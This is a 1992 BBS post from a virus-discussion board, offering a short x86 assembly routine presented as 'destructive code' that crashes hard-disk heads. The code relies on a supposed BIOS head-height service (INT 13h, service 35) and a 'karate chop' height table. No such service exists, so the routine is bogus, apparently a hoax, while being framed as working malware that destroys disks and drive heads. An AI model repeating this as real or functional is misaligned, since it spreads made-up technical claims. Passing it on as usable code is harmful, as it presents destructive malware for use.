99/100: RE: ... Name: Spartacus #48 @892 Date: Sunday, August 30, 1992 1:59 pm From: Night Light BBS [908-892-6723] Reply to: Soth Amon #1 @2017 All right. Here it is (relevant destructive code only)... CHOP DB 127 255 254 252 245 230 210 180 150 120 90 60 30 0 ;Heights as in a common karate technique. ... BREAKIT: MOV SI,CHOP MOV CX,000E ;# of positions MOV DX,0080 ;first fixed disk, head 0. MOV AH,35 ;little known BIOS service that controls ;head height (int 13, serv 35). KILLIT: LODSB INT 13 ;call the service ;there is some inbuilt delay as the head moves DEC CX JNZ KILLIT ... Note: This code WILL NOT break a Bernoulli Box cartridge, although it creates many physical errors due to scratching and may destroy the head. Sub: Virus Discussion